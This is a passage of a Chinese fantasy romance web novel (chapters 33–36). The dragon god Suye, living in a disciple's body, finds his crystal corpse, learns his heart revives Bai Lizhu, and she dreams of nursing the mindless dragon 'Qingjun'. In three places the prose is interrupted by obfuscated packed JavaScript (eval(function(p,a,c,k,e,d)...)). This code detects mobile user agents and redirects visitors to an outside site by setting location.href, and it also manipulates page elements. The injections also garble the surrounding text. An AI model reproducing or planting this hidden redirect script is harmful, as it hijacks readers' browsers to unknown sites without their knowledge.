“你要是从小住在这里,早就习惯了,当然就不会怕冷。”陆崖道:“龙神溯夜住在这样的地方,主要是因为他不喜欢被人打扰。他在妖界威名赫赫,总有各路大妖慕名而来,青崖山下的阵法和这座雪山,足以隔绝大部分的大妖。” 白骊珠不解道:“可是一个人住在这样的地方,不会孤独吗?” 陆崖呵笑了一声,“这个问题,我还真问过溯夜。他说‘无情者无心,既然无心,便不会孤独。’”他若有若无地看了十五夜一眼:“不过,我觉得他的话纯属扯淡。” 白骊珠心中一动。 “无情者无心,既然无心,便不会孤独。” 这句话她总觉得在什么地方听过,可是仔细去想,又想不起来。 如陆崖所说,靠近山顶,青崖的天气好了很多。尽管仍在下雪,但那雪极轻,仿佛碎玉琼花,触之即碎,化作雪水,往山下流去。 到第四天中午的时候,众人终于翻过了最后一座山坡,看到呈现在眼底的壮丽景观,白骊珠率先发出了一声惊叹。 青崖之巅上矗立着一座用冰雪建成的巨大宫殿。宫殿通体雪白,恢弘而庄严,塔尖高耸入云,白色的宫墙与白色的天空几乎融为一体,不分彼此。 没有寒暑,没有色彩,只有一片纯白。 亘古、神圣,孤独,荒寂,任何人踏足这里,几乎就立刻想到了空、无与死亡。 再然后,他们看到了一大片水晶。 准确来说,那是龙神溯夜的尸体。 看到这具躯壳的那一刻,白骊珠不由得深吸一口气。 乌鸦一族的老夫人说一辈子也没有见过这么瑰丽的尸体,并无夸大其辞之处。巨龙身长四五十米,浅蓝色的水晶蜿蜒成了巨大的龙躯。龙身之上,一片片水晶鳞次栉比。每一片水晶龙鳞都有巴掌大小,晶莹剔透,在阳光的照射下反射出不同的光泽。 最最关键的是,每一瓣的鳞片都蕴含着精纯的灵力。就算龙躯已死去多时,这些灵力并无流失的现象。让人赞叹,龙神溯夜的确是天道的宠儿,如果他还活着,又该是多么强大。 龙身的头和大半条尾巴露在地面上,腰间的部分则落在雪顶天池的池水之中。陆崖围绕着巨龙走了一圈,轻轻舒了一口气:“还好,我们应该是最早到达雪顶天池的,这具龙躯十分完整,应该没有被其他人动过。” 他的眼神若有若无地在十五夜身上扫过,看向聚集在天池旁的众人道:“龙神溯夜一直孤身一人,既无亲人,也没有朋友。按照妖界的常例,龙神身亡后,最先到达雪顶天池的人,有权处置这具龙躯,想要得到水晶作为财富,或者想要得到什么珍贵的材料都可以。但是,我们一行人这么多,该怎么分尸,还是大家商量着来……大家不用着急,见者有份。还有,你们不用考虑我,按照我们的约定,……” …… 十五夜一上山顶,便以自身神识感知自己的躯体。 他原以为,既然属于“溯夜”的灵魂仍然存在,也许他的躯体只是陷入沉睡。只要回到雪顶天池,他就能回到自己的躯体。让他意外的是,“龙神溯夜”的的确确死在了雷劫之中。 用水晶和天地灵气聚集而成的龙躯并不会腐朽,却没有任何生命的气息。 只是一堆冰冷、僵硬的晶石。 换言之,他无法回到自己的身体里。 曾经强大的、几乎无所不能的水族大君,在这一刻懵住了。 如果他不能回到自己的身体,岂不是要一直待在“十五夜”的身体里,那原来的“十五夜”怎么办? 十五夜在那一瞬间,立刻就想要坦诚自己的身份,找陆崖商议此事。 同样身为兽族大君,陆崖也算见多识广,或许知道该怎么办。没想到,他还没得来及开口,陆崖就已经准备着手“分赃”了,这要分的赃还是他自己。 他心中生出些许恼怒,只觉得“朋友”什么的果然都是一场笑话。往昔无心无情,也没什么不好。 他冷哼一声道:“我听说兽神陆崖从前是溯夜的朋友,你就是这么随意处置朋友的尸体吗?” 陆崖并不生气,笑道:“龙神溯夜无心无情,又何曾将我当做他的朋友。如果他视我为友,早该在无妄劫之前立下遗嘱,让我处理他的后事。我自然会找一处风水绝佳之处,将他好好安葬。可是他封闭青崖,不见任何人,也没有想过找我帮他渡劫,可见在他心中,我也算不上什么朋友。他并不在乎自己死了之后会怎样,既然他自己都不操心,我又何必咸吃萝卜淡操心?” 十五夜一噎。 陆崖说得没错,龙神溯夜并不想活着,也并不关心自己死了会怎样。 在青崖等待无妄劫的日子,他并不视自己为某种活着的生物。长久的荒芜与空寂消磨他生为活物的情绪,有时候他甚至觉得自己就是空寂与虚无本身,他甚至想不起无妄劫之前发生的许多事情。 成为“十五夜”之后,他才觉得活着也挺好的。自青崖山脚一路上山,结识了更多的人,他发现自己并没有那么排斥自己的身边出现其他人。 白骊珠虽说偶尔不着调,但对自己的徒弟是极好的。偶尔他会想,不当什么龙神溯夜,只当她的小徒弟也挺不错的。 纪长怀蠢是蠢了点,但蠢也有蠢的可爱,特别是纪长怀每次斗他不过时,让他心情颇为愉悦。 至于乌小孙和蓝鹊儿,他虽然不熟,一路上听白骊珠叽叽喳喳和他们交头接耳也觉得挺有意思。 当然,有一点和过去一样。他从前不认为陆崖是自己的朋友,现在也不是。 想起陆崖方才的冷嘲热讽,他绞尽脑汁想要刺陆崖几句,找回这个场子,想了一圈又觉陆崖此人平常做人滴水不漏,搜肠刮肚竟然找不到把柄,只好放弃。 陆崖挑了挑眉:“你放心,虽然你几次破坏我和骊珠的事,但我陆崖也不是那么小心眼的人。这龙神溯夜的遗体,可以让你先挑,你想想你要哪个部分?” 十五夜更气了,讥讽道:“等哪天你被天雷劈死,我一定先挑。” 陆崖冷笑:“那就看你有没有这个机会了……” 就在此时,两人听到龙首之处传来呼救声,蓝鹊儿惊叫道:“骊珠,骊珠,你怎么了,喂,你醒醒啊——” 两人一起循声而去,方才还好端端的白骊珠正晕倒在雪地之上,蓝鹊儿掐着她的人中,但是白骊珠一点也没有要清醒过来的迹象。 两人一左一右围了过去,十五夜急道:“这是怎么回事?” 蓝鹊儿:“骊珠她看到这么大的龙神遗骨,十分兴奋,她说要去找找看龙神之心在什么地方。她靠近龙神遗骨,摸了摸尾稽上的水晶鳞片,突然捂着胸口,说心口疼痛,就忽然倒地,昏迷不醒了……” 陆崖和十五夜一起朝白骊珠的胸口看去,只见她的胸腔剧烈起伏着,一颗心猛烈跳动,似乎就要跃出体外,而且随着她心脏跳动,死去的已经巨龙身躯也开始微微颤动,那些坚硬的水晶仿佛也活化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他揪住陆崖的衣领,道:“这是怎么回事?你究竟在搞什么鬼?” 若说这世界上还有一个人对他的过去比他还了解,那就只有陆崖了。而且陆崖一路以来隐隐对他的冷嘲热讽,还有他方才说的那句“是与不是,你自己一试便知”,显然陆崖应该早就认出他来了,甚至说不定这一天的事情的发生,都和陆崖有关。 陆崖淡声道:“怎么,你要现在和我算账吗?不想先救你师父?” “怎么救?” 陆崖道:“很简单,只有龙神之心回到龙身之内,真龙躯体才会重新苏醒。” 纪长怀“啊”了一声:“如果龙神之心回到龙神溯夜的身上,那我师父会怎样?” “失去龙神之心,她当然只有死路一条。”陆崖看向十五夜:“十五夜,你现在只有一个选择,是让死去的龙神重新苏醒,还是让白骊珠活着……” 纪长怀又插话:“舅舅,这种事情为什么只问我师兄啊?难道我就没资格发言吗?” 陆崖对他怒目而视:“你滚一边搓泥巴去。” 纪长怀“哦”了一声。 陆崖又转头看向乌小孙和蓝鹊儿:“这里你们也帮不上忙。雪顶天池晚上极冷,你们三人先去准备晚上休息的营地。” 乌小孙和蓝鹊儿都是聪明人,知道因为白骊珠如今的情况,青崖寻宝的事情多半有了变化。兽神陆崖在此,他们只有听命的份,拉着仍然不明所以的纪长怀离开。 很快,天池边上只剩下十五夜和陆崖两人。 十五夜的脸色极为难看,在场数人,只有他明白陆崖的意思。 陆崖认出了他的身份,逼迫他在“龙神溯夜”和“白骊珠”之间做选择。如果他选“龙神溯夜”,他或许可以回归自己的本体。如果他选择白骊珠,龙神溯夜可能会永远死去,他或许将永远困于眼前“十五夜”的少年躯壳。 他回视陆崖,眸底深沉:“我选白骊珠,你有办法救她?” 陆崖语气笃定:“当然。” 十五夜道:“好,你现在立刻救她。” 陆崖眼神微抬,似乎有些意外,却又没那么意外:“你确定?” 十五夜心中莫名烦躁,“让你救人快救便是,怎么这么多废话。” 34. 第 34 章 陆崖没有再说什么,他手中一闪,出现了一柄匕首。他爬上死去的巨大龙躯,向巨龙的胸腔刺去。 看着陆崖一刀划开巨龙的腹腔,虽然那已不是他的身体,十五夜仍然觉得心口凉飕飕的,忍不住道:“你干什么?” 陆崖一哂:“你既然放弃了让龙神复活,这具龙躯已然无用,只能拿来废物利用。怎么,你后悔了?不想救你师父了?” 十五夜恨得牙痒痒,却也无可奈何。要不是现在有用着他的地方,只恨不得将此人一脚踢下青崖,他愤声道:“你继续。” 陆崖龙躯上跳了下来,道:“好了,你现在将白骊珠放入巨龙的腹腔之内,要放在尽量靠近胸口的位置,再催动妖能,让你这具妖身上的创口修补一下。也不用修补得太好,反正回头她还要从这里出来。” 十五夜不解:“这是为什么?” 陆崖用看白痴的眼神看他:“龙神之心在白骊珠身体之内,因此她会和你原本的身体共振。你自己的身体最清楚不过,这样巨大的消耗会用尽她的精力,而如果将白骊珠连同龙神之心一起放回去,心脏跳动消耗的是龙神自身的妖能,白骊珠的身体也会从龙躯之中得到能量,就不会有问题了。” 龙心回到龙神体内,而白骊珠也不用死。 十五夜发现自己被人耍了,咬牙切齿:“所以方才根本不是一个二选一的问题,你在诳我?” 陆崖看着他,“方才只是我对你如今心理状态的一点好奇试探。溯夜吾友,你如今知晓爱为何物吗?” 十五夜冷声道:“陆崖,这句话三百年前我就说过,如今我可以再说一遍,龙神溯夜没有感情,也不需要感情。还有,我不是你的朋友。” 他抱起白骊珠,将她放入巨龙腹腔之内,催动自身妖能,巨龙的腹腔重新闭合。然后他将巨龙的身体推入天池之中。 水是水族生存最大的养分,所有的水族都离不开水。有天池之水的滋养,龙神之心给白骊珠造成的负担也会小一些。 他做完这一切,回到岸上,陆崖仍在池边等他。 “溯夜,你说自己没有感情。可为什么你听到我和白骊珠之间有婚约会生气,看到我和白骊珠在夕照湖私会就暴跳如雷,差点毁了你从前最喜欢的地方?方才又为什么愿意放弃自己复活的机会,也要救活她?” 溯夜冷视着他:“原来之前都是你故意的,就是要让我生出嫉妒之心。” 陆崖也不否认:“溯夜,你确实因爱而生出嫉妒之心。你在自己和白骊珠之间选择了她,这足以说明如今的你已经爱上了她。”他叹息一声:“承认自己爱上一个人,有这么难吗?” 溯夜道:“我会嫉妒会生气,是因为‘十五夜’喜欢自己的师父,他与白骊珠之间已经结下爱契。这些情绪来自于‘十五夜’,而不是我。至于我会选择白骊珠,是因为她是长月海大灾变之后,白鱼一族留下的唯一一人。如果她死了,白鱼一族就会彻底覆灭,救她是龙神的责任。龙神不会违背自己的责任。” “还是三百年前的说辞。”陆崖发出一声极轻的噫叹:“那你自己呢?你就不想回到自己的身体里吗?” 溯夜一副无谓的态度道:“无妄劫百年之后,水族自然会有新的龙神。这是天道的永恒诅咒,你对此心知肚明。” 陆崖抬起头,看向头顶的无垠高天:“溯夜,龙神受到天道的诅咒无法拥有感情。难道你不想挣脱天道束缚吗?” 溯夜摇头:“天道会给我这样的机会吗?” 陆崖:“你不试怎么会知道。” “就是因为我试过了,我才会知道。”溯夜转身,看向远处那座高大的神殿:“陆崖,从你第一次到青崖,到如今已经三千年了。你仍然不是我的朋友,你难道还不死心吗?” 陆崖道:“我不像你,遇到一点挫折就放弃……” 溯夜道:“陆崖,三千年前你就让我厌烦,如今还是一样。” 重生多日以来,第一次直面过去,以龙神“溯夜”的身份与别人打交道,让他疲惫不堪,脑袋隐隐作痛。他转身向那座雪白的神殿走去:“我累了,需要休息,你不要跟着我,我不会一直容忍你。” 陆崖气得七窍生烟,“如果不是你以前救过我,谁愿意管你,你以为我有多需要这个朋友吗?” 溯夜冷冷道:“不需要正好,我更不需要。你现在就下山。白骊珠的事情不劳你操心,我自己会设法救她。” 陆崖终于忍无可忍,他咬牙切齿道:“好,你不想改变。可是你不想知道,你是怎么失去龙神之心,龙神之心又是怎么出现在白骊珠身上的吗?” 溯夜终于回头:“你知道?” 陆崖:“我当然知道。” 溯夜:“这是怎么回事?” 陆崖冷笑:“呵,我凭什么告诉你——” 溯夜简直想要打人:“你——” …… 雪顶天池之下。 白骊珠被龙神之躯包裹着,陷入了一场似真似幻的梦境。 那是一处海滩。 准确来说,那并不叫海滩,因为海已经消失不见。目光所及之处,只有白金色的沙子、枯萎的海藻、死去的珊瑚、贝壳,以及地裂之后留下的海沟和缝隙。 一个声音道:“还是来晚了一步,长月海已经因为地陷而消失,长月海的水族只怕也凶多吉少……白鱼一族若是就此覆灭,都是我的责任。” 白骊珠微微一惊,那说话声分明是从自己的身体发出,却是男子的声音。 她看了看自己的身体,竟然是一个男子,而且浑身隐隐发痛。仔细看去,这男子似乎刚刚经历一场大战,身上到处是大大小小的伤口,胸腹处还有一处贯穿伤,像是被利器所伤。 看来她是做梦,梦中自己成了另外一个人。而且看样子,是回到了长月海大灾变之后的现场。 旁边另有一人道:“看来这一切都是魔族的阴谋。他们故意在西陵泽挑起战端,动用十七名高手围杀于你,目的就是让你来不及救援长月海。” 白骊珠听着这声音极为熟悉,抬头看去,身边这个大美人不正是几天前刚认识的兽神陆崖吗? 原来兽神陆崖在长月海覆灭的时候来过长月海,为什么她对这件事毫无印象? 还有,和兽神陆崖一起出现,在大灾变之后来到长月海,她眼下附身这人,该不会就是传说中的龙神大人吧。 果然,陆崖继续道:“溯夜,你也不必将责任往自己身上揽。敌人早有阴谋,你身受重伤,来不及救援长月海也是情有可原。” 白骊珠傻眼了……她做梦就算了,还梦到自己成为龙神大人…… 这是因为不小心摸到了龙神大人的鳞片,而“看见”了龙神大人曾经的记忆吗?龙神大人在当年的大灾变之后来过长月海,她当时应该就在海滩上,为什么没有见到两人呢? 她静心屏气,继续往下看了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023200|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 龙神溯夜没有回答陆崖的话。他慢慢走到地缝中央,催动自身妖能灌入地穴之中,地穴之中涌现一汪灵泉,灵泉渐渐扩大,演化成一小方水泽。 随着妖能的流失,龙神溯夜的身上的伤也越发严重,他呕出一口鲜血,却没有放弃的意思,依然将身体中仅剩的妖能灌入地脉之中。 陆崖惊呼道:“溯夜,你想干什么?你本来就受了重伤,还这样损耗妖能,是不要命了吗?” 溯夜道:“虽然长月海塌陷,海水消失。但也许白鱼一族还有族类留存,只需要有水,他们就能活下来。这移山造海之术虽然消耗极大,但若能挽救一二生灵,或许白鱼一族不至于就此灭绝,这也是我身为水族大君的责任。” 陆崖嘴唇翕张,似乎想要再劝,但知道劝不动,就此闭了嘴。 水泽的面积慢慢扩大,成为一方湖泊,湖水中仍然没有任何的生灵,曾经繁荣的白鱼一族就这样湮灭于历史的尘埃之中。陆崖的脸色越来越难看,而溯夜一直神色如常,看不出任何的情绪。 终于,溯夜妖能耗尽,湖泊的面积不再扩大,湖中仍是一片死寂。 忽地,陆崖惊叫了一声:“溯夜,快看,那边有一个女孩儿,白鱼一族还有幸存者。” 溯夜抬头,看到湖面浮起一具少女的身躯。 陆崖登萍踏浪,将少女带到两人立足的湖边。他伸手探向少女的脉搏,脸色一僵,这名仅剩的少女已经没有了脉搏和呼吸。 溯夜瞟了她一眼,做下最后的宣判:“她死了。” 白骊珠大惊。 这位银鱼少女的面容和她一模一样,穿着金边白裙,眼角下面有一片金边银鳞,手中还握着一串吃了一半的海桑果。 长月海出事那天,她的母亲将她送到海岸边上时,她就穿着这身衣服,最后,她的母亲还给了她一串海桑果,让她等姑姑来接她。 这名已死的银鱼少女就是她自己。 这是怎么回事? 难道她在三百年前就已经死在了长月海,那么现在活着的白骊珠又是谁? 陆崖叹息一声:“这位白鱼少女看起来刚刚进入成年期,从这特有的金边银鳞看来,她是白鱼王族,可能是白鱼王白桑榆和王后慕霏的女儿,看她临死前这副模样,像是事发之前被家人送出海面上,但是她在最后关头发现不对劲,想要回海底拯救自己的家人,陷入泥沙之中,最后窒息而死。” 溯夜道:“你的判断和我一致。” 陆崖怔愣了一会,叹道:“竟然连这般美丽的小公主也死于这般海难之中。溯夜,你也不必悲伤,回头我和你一起去找里世界那些可恶的魔族算账。” 溯夜脸上没有表情,语气也算得上平静:“陆崖,我并没有悲伤这种情绪。至于长月海,不过是天道对于我的惩罚罢了,也是我战胜的代价。因为我战胜了魔族,再次将魔族封印在西陵泽,阻止他们再次作乱。天道降罚于我,白鱼一族是因为我而死。” 这次陆崖怔愣得更久,最后他说:“这件事情并不能怪你,如果魔族再出,覆灭的就不是长月海的白鱼一族了。整个妖界五族都会面临生存的危机。” 他叹息一声,道:“溯夜,这不是你的过错。”他抱起少女的遗体向河边走去:“水族生于水中,也该回到水中,就她沉眠于这座湖泊中吧。” 溯夜忽然抬头:“不,她还有救。” 陆崖脚步一顿,转身道:“怎么救?” 35. 第 35 章 溯夜道:“龙神的身体是天地灵气所化成,龙神之心是龙神的躯体中灵力最为浓郁的部分。如果她得到龙神之心,这具刚死未久的身体就会重新活过来。” 他转头看向陆崖:“陆崖,我需要你帮我。” 陆崖他后退两步,眼神里满是震惊:“不,溯夜,你知道你在说什么吗?你是要我帮你把你的心剖出来吗?失去龙神之心,你会……” 那个“死”字尚未出口,就便溯夜截住了。 “陆崖,你错了,我不会死。”龙神溯夜那张冰冷的脸上仍然看不出任何情绪,仿佛他并不是由血肉构成的生命。“你知道如今距离无妄劫还有多久吗?” 陆崖说了一个估算的数字:“三百年?” “是三百年零八十一天,可是我早在四千年以前就尝试自杀过了。我用龙牙打造了一对利刃,割破自己的腹腔,将龙神之心取出,希望可以早点结束这无趣的人生。可是每次我昏迷过去之后,第二天醒来,龙神之心仍然在我的腹腔之中,那些我用最锋利的刀刃切割出来的伤口也完好如初。” 他的语气静若沉渊:“天道不会缩短自己囚徒的刑期,龙神只会因为一万年一次的无妄雷劫而死,不会因伤而死,不会流血而死,甚至不会因为缺少龙神之心而死。” 陆崖道:“可是……” 他嗫嚅了半天,终究不知该说些什么。 溯夜又道:“陆崖,白鱼一族不该就此覆灭,你如果自认是我的朋友,就帮我这一次吧。我自己也很想知道,天道的诅咒是因何而来。如果我是因为这一颗水晶之心而无心无情,那我舍了此心,是不是会拥有像你一样的情感。说不定到那个时候,我会接受你成为我的朋友。” 陆崖道:“可是,失去龙神之心,你的修为大损,如果这段时间西陵泽的魔族又动乱,就凭我和翎天可应付不了局面。” 溯夜道:“你大可放心,西陵泽的封印最少可以封印魔族三百年。三百年后正好是无妄劫,我的刑期结束,水族会有新的龙神。” 陆崖道:“三百年后,再次出现的龙神溯夜,还会是你吗?” 溯夜淡声道:“是与不是,又有什么区别。” 陆崖站起身,似乎下定了决心:“再次出现的龙神,不会是我的朋友。” *** 谈话到底为止,白骊珠只觉得眼前一黑,然后遁入黑暗之中。 再次睁开眼时,她发现自己身着金边白裙,是人类少女十五六岁的模样,她住在濯水居里,将一双嫩白的脚丫伸入下方的灵泉之中,泉水涤荡,她觉得身心俱足。 濯水居是她姑姑白舒眉的居所,白骊珠离开长月海到拜入真炎宗的几年中都是在这里居住,她对此地印象深刻。 白骊珠松了一口气,这次的梦境总算是关于她自己的。但是她心中还是有些嘀咕,上一个梦境看样子陆崖是答应了龙神溯夜的请求,难道她三百年前已经死在了长月海大灾变中,又因龙神之心而死而复生吗? 这么说来,她求而不得的龙神之心岂非一直就在她自己身上? 我滴个乖乖,这得值多少钱啊? 小院外面传来敲门声,是一个急促的男子声音,“白大师在家吗?” 白骊珠的姑姑生前是妖界炼器名家,一向被尊称为“大师”,白骊珠以为是来求灵器的大妖,开门一看,却是陆崖。 这次的陆崖朝她多瞅了两眼,问道:“你是骊珠姑娘吧,你姑姑在吗?” 梦境之中的白骊珠并不识得这是妖界五位大君之一的兽神陆崖,脆生生应道:“在呢,姑姑在炼器室忙着呢,我带你过去。” 两人很快到了炼器室门口,白骊珠道:“姑姑,有位客人来寻你。” 白舒眉探出头来,看到是陆崖,脸色微变,对白骊珠道:“珠儿,姑姑和这位贵客有要事要谈。你自己去玩吧。” 白骊珠应了一声,不久又折返回来。彼时,她已经开始向姑姑学习炼器术,姑姑会客,并不会特别避开她,这次的例外让她起了好奇心,便偷偷倚在墙檐下,听他们说什么。 两人的谈话声透过窗棱传出。 陆崖道:“白大师,不知这几个月他的情况如何?” 白舒眉叹了一口气:“还是从前那样子,痴痴傻傻的,智商有如三岁幼童。这样不是长久之计,我听说最近西陵泽的封印异动,上次留下的封印恐怕撑不了多久。如今妖界各族都在寻找他,水族更是人人惶惶。陆崖大人,您真是太乱来了。” 陆崖苦笑道:“不瞒白大师,自从长月海那件事后,我都不敢回兽族琅轩台,就怕各族的首领找我要人。我去了极西之弟的风暴海,取了燃犀草回来,虫族鳞昆说燃犀草能集聚灵气,或许对他有用,如今死马当活马医,只能先试试再说。” 白舒眉道:“这三年以来,你穿梭于妖界各地,该试的药方都试过了。你很清楚症结在何处,解铃还须系铃人,想要彻底治愈他,只有一个方法。” 陆崖叹息一声:“白大师舍得?” 白舒眉道:“我当然不舍。长月海已经覆灭,骊珠是我在这世上唯一的亲人。但如今并非白鱼一族的问题,而是妖界五族生死存亡的问题。没有他,妖界五族便无法应对来自异界的入侵者。” 房间之内一片静默。 良久,陆崖道:“白大师,我知道您对那人也极为敬重,五百年前还亲手为他铸造了兵器。” 白舒眉道:“水族之中,人人皆愿为他效命,因为他值得。长月海覆灭,是我白鱼一族对不起他,而不是他对不起我白鱼一族。” 陆崖道:“那白大师觉得,他是该为妖界的生死存亡而活,还是为了他自己而活?” 这次房间内静默的时间更久,久到白骊珠两腿都站得酥麻,姑姑仍没有回答陆崖的问题。 她听到陆崖一叹:“我觉得他该为了自己而活,不管怎么说,这是他自己的选择。我既然选择了帮他,便不会违背。这件事情,我会再想办法。” 白骊珠听了半天,还是迷迷糊糊的。姑姑和陆崖谈话中的“他”是谁,“他”又怎么样了,需要兽族大君四处奔波寻找治病的良药,姑姑说的彻底治愈的办法又是什么? 陆崖推门而出,白骊珠本要躲起来,谁知脚站麻了,一下子摔到了地上。陆崖含笑将她扶了起来,她听到姑姑叫道:“骊珠,进来。” 白骊珠揉了揉发麻的腿,进了炼器室,叫道:“姑姑。” 她本以为姑姑会因为方才的失礼之举呵斥她,谁知白舒眉没有多说什么,只道:“珠儿,你跟我去见一个人。” 她跟着白舒眉到了一处角门,才发现濯水居后面别有洞天。后院有一处用高墙深院围起来的空间,姑姑用诸多灵器设下阵法。 后院之中,除了一座小楼外,最显眼的便是一座用白玉雕砌而成的寒池,寒池之内灵水漾漾,泛起涟漪。 寒池中央有一座石台,石台中间伸出四条锁链,束缚着一个人。 照面的第一眼,白骊珠就深吸了一口气。 白鱼一族已是妖界有名的专出美人的种族,可是眼前人,好看得还是太超过了。眉若弯墨,目如曜玉,朱唇挺鼻,玉颈秀颔,整个人如同浑然美玉雕成,剔透含光,银蓝色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白舒眉的心跳到嗓子眼。骊珠太冒失了!龙神舍心救了她的命,这本是一片好心,可龙神此刻失去神智,她要是被发疯的龙神掐死,这也太冤枉了。 就在这时,她听到了“咚咚咚”的声响。 那是白骊珠的心跳声,在性命危机之刻,她的心跳愈加激烈,如紧锣密鼓一般敲响在每一个人的耳膜。更奇异的是,随着她的心跳声,青君脸上的神情渐渐趋于平静,他的呼吸也与她的心跳声一起鼓动。他将手放松,白骊珠平稳落在地上,青君审视着眼前之人,问道:“你是谁?” 白骊珠在生死之间走了一遭,却丝毫不害怕,也没有怨怼的意思。 方才姑姑已经提醒过她青君因为救她而失去神智,这本就是她太鲁莽了。而且,青君在最关键的时候收手,可见他并不像姑姑所说毫无神智。 想到这里,她脸上露出和善的笑容,意图削减眼前之人的敌意:“我叫白骊珠。青君,是你救了我,你是我的恩人,也是我的朋友。” 青君微微拧眉:“朋友是什么?” 白骊珠有些懊恼,要给一个失智之人解释什么是朋友可不容易。她想了想,乾坤袋里掏出一袋海桑果,说道:“朋友就是可以互相分享一切的人,你既然是我的朋友,我愿意将这一袋海桑果与你共享。” 她从袋子中找出一个最大最红最为饱满的海桑果,小心细致地剥去外皮,露出里面鲜红多汁的果肉,递到青君的面前:“这是我最爱的果子,很好吃的,你尝尝看……” 青君一动不动,他低着头打量着白骊珠手中的果子,既没有拒绝,也没有接过。 时间一分一秒过去,白骊珠托着果子的手都开始发酸,她有点忍不住了,说道:“你不吃我就自己吃了……” 她正要将手收回,青君忽然俯下身来,衔住她手中的果子,一口吞了下去。 吃完之后,他舔了舔唇,望着白骊珠手中的袋子:“果子,甜甜,还要。” 36. 第 36 章 白骊珠松了一口气,又剥了一个海桑果喂给他。青君吃完了也不说话,只睁着一双琉璃色的眼眸,咽了咽口水,眼巴巴地看着她,等着她再次投喂。 他的眼神清澈而怯弱,如同一只刚出生不久的幼兽。当然了,他眼下的智商和幼兽也没什么区别。白骊珠将果子在他眼前晃了晃,捉住他的手,笑嘻嘻道:“青君啊,你还想要的话,以后要乖乖听我的话才行。” 青君看着鲜脆欲滴的海桑果,点了点头,“好,以后我会听你的话。” 白骊珠道:“我们约法三章。第一条,不许伤人。” 青君重复道:“第一条,不许伤人。” 白骊珠道:“第二条,要跟着我,不离开我。” 青君:“第二条,要跟着我,不离开我。” 白骊珠纠正道:“你该说,要跟着你,不离开你。” 青君:“要跟着你,不离开你。” 他一字一句地重复,如同最天真懵懂的孩童,白骊珠扑哧笑了一声:“第三条,以后你要叫我骊珠姐姐。” 青君叫道:“骊珠姐姐。” 不远之处的白舒眉眉头轻动,白骊珠竟然让龙神叫她“骊珠姐姐”,这实属大不敬。她看了看龙神大人那幼童一般的懵懂目光,终究是叹了一口气,没有说什么。 白骊珠施了一个凝水成冰的法术,寒池上升起一座冰桥。白骊珠牵着青君通过冰桥,走到白舒眉面前。 “姑姑,青君既然救了我,我们用铁链锁着他毕竟不妥。他方才已经答应我以后不会再伤人,姑姑可不可以不要再锁着他?” 白舒眉山中闪过一抹担忧,溯夜是水族大君,是白鱼一族的恩人。如果有其他办法,她和陆崖又何尝愿意锁着他。 当然,担忧也无用。陆崖已经离开,凭她自己的能力,是万无可能将已经脱困的溯夜再锁回去。溯夜没有伤害白骊珠,也许是因为对她体内的龙神之心有一些熟悉感,因此对她亲近和温顺。如今,也只能寄望于这份亲近和温顺能维持的时间更久一些,坚持到陆崖找到让龙神恢复的方法。 她叹了一口气,道:“骊珠,既然你将他从寒池放出,你就必须对他负责。以后,照顾青君的任务就交给你了,直到他彻底恢复的那一天。” 白骊珠得到姑姑允诺,雀跃道:“姑姑放心,既然他是因为我才变成如今这样,我一定会好好照顾他的。” 之后,白骊珠就担负起了照顾青君的任务。 白骊珠不知道这位青君多少年岁,只知道他的智商和五六岁的小孩子差不多。 他叫她姐姐,她就像照顾弟弟一样照顾他。 每天早上,她会将燃犀草熬成药汤。 燃犀草需要小火熬制整整两个时辰才能熬出药汁,最关键的是要在煎药的过程中要不停地搅动,还要时刻掌握火候,温度过高或者过低,都得重新来过。每天上午,白骊珠都得在火炉前手脚不停地忙碌一上午。 这个时候青君就会搬个小板凳坐在火炉旁,替她扇风。 等到汤药熬成,她用玉勺舀了,一勺一勺地喂他。那汤药极苦,每次白骊珠哄他吃药都得费大半个时辰。 白骊珠并不是多有定性的人,可是每次到坚持不下去的时候,只要看到青君那张完美无瑕的脸,她就感到自己的心跳比往常要快几拍,会随着青君的呼吸而律动,她忽然又有了坚持下去的动力。 少女将这样的心动,定义为看到漂亮男子之后的情窦初开。 她没有想过,这仅仅是因为,她的心也是同时为他而跳动。 总之,少女白骊珠就这样喜欢上了青君,她尽自己的一切努力去照顾他。 她想,他总有一天会好起来的。 无聊的时候,她总会想,他如果恢复了,会是什么样呢? 他一定是一个很好很好的大妖,是妖界的栋梁。要不然,兽族大君和她姑姑又怎么会在他身上花费这么多心思。而且,他是为了救她才变成现在这样的。如果不是善良的人,又有谁会愿意为了救人而得痴痴傻傻呢? 如果他恢复正常,会怎么看她,他是不是也会喜欢她,爱上她呢? 如她所料,青君的情况的确开始慢慢好转。 第一年过去,他的智商进步了一些。他会力所能及地做一些自己能帮忙的事,每次喂药也不再要人哄了,白骊珠的工作轻松了许多。 中间陆崖又来过几次,他总是会带来他从妖界各地带来的各种天地珍宝,甚至有一次,他深入魔族领地,冒险杀了一只灵魔,只为带回灵魔蕴含灵力的心血入药。 有一次,陆崖回到濯水居的时候,看到白骊珠正在和青君玩翻花绳。那是妖族孩子们玩的游戏,并不复杂,可是青君怎么都学不会,每次都会将红绳缠得一团糟。 白骊珠看到花坛中盛开的芍药花,摘了其中最好看的一朵,道:“青君,你若是能学会翻花绳,姐姐就将这朵芍药花奖励给你,好不好?” 青君眼神一亮,道:“花花,好看……青君,想要……” 白骊珠诱哄道:“想要花花,你就得先学会翻花绳哦。” 这之后,青君学得认真了许多,一个时辰之后,终于学会了翻花绳。白骊珠非常满意,也按照约定将头上那朵芍药花送给青君。 青君拿着芍药花嗅了嗅,又捧到白骊珠面前,“花花,好看……” 白骊珠故意问道:“是花花好看,还是姐姐好看?” 